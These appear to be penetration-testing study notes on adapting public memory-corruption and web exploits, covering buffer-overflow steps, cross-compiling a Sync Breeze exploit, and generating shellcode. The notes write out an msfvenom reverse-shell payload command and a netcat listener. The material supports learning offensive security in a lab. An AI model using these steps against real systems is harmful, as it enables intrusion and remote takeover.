Fixing Exploits

Fixing Memory Corruption Exploits

Normal Flow of a Buffer Overflow
1. Create a large buffer to trigger the overflow.
2. Take control of EIP by overwriting a return address on the stack by padding the large buffer with an appropriate offset.
3. Include a chosen payload in the buffer prepended by an optional NOP sled.
4. Choose a correct return address instruction such as JMP ESP (or different register) in order to redirect the execution flow into our payload.
Adapting the existing code (things like file paths, IP addresses and ports, URLs, etc.) but also the payload to talk back to YOUR listener, not to a random IP
- Sometime changing they payload is not possible as they are the key to the exploit itself
- Make sure to also adapt the offset, because the length of your custom parameters will probably be different
Test your new code within a Lab environment before you try it on the target
- Here you have the chance to attach a debugger

Sometimes the same exploit is available in multiple languages
- Scripting Languages (e.g.: Python)
  - Requires an interpreter to be executed
    - This can be limiting in an environment where we can install a interpreter or need to keep a low profile
- Compiled Languages (e.g.: C)
  - Concatenating strings is not allowed like in python (str = str1 + str2)
Flow
1. Copy to home dir: searchsploit -m 42341
2. Inspect: leafpad 42341.c
  - Check the header (like the include or import) if the code was meant to be compiled/run from windows or linux
  - If its meant for Windows, we can cross-compile it on linux

Install: sudo apt install mingw-w64
Compile: i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
- If there are errors, google for them
- You might need to install dependencies (in this case append -lws2_32 to the previous command)

Create the target environment locally with a debugger in a lab to determine the return address
Use other publicly available exploits which match our target environment to get a return address
If we already have access to the target, we can copy the loaded dlls (use the debugger to figure out which ones are loaded) to our kali vm and use msfpescan to search for return addresses

Generate new shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
Recompile: i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
Test it with our lab target
- Don't forget to set up a listener sudo nc -lvnp 443
- If the exploit was cross compiled, execute it with wine like this: wine syncbreeze_exploit.exe
- If it doesn't work check if the offset is wrong (see next heading)
- Don't forget to restart the service (Win + R -> services.msc)

This really depends on the exploit code but some things to check are
- in C, strings are terminated with the null character
- Some exploits replace the last string of the buffer with a null character so that C recognize it as a valid string, but this can cause 1-off errors

Does it initiate an HTTP or HTTPS connection?
Does it access a web application specific path or route?
Does the exploit leverage a pre-authentication vulnerability?
- If not, how does the exploit authenticate to the web application?
How are the GET or POST requests crafted to trigger and exploit the vulnerability?
Does it rely on default application settings (such as the web path of the application) that may have been changed after installation?
Will oddities such as self-signed certificates disrupt the exploit?

Enumerate
Search Exploit-DB for exploits which target the enumerated service
Some exploits require valid credentials, they are then called post-authentication exploits.

Adapt things like to the target:
- base url
- http or https depending on if the target uses SSL
- if the certificate used is invalid -> verify=False
- (default credentials to valid credentials)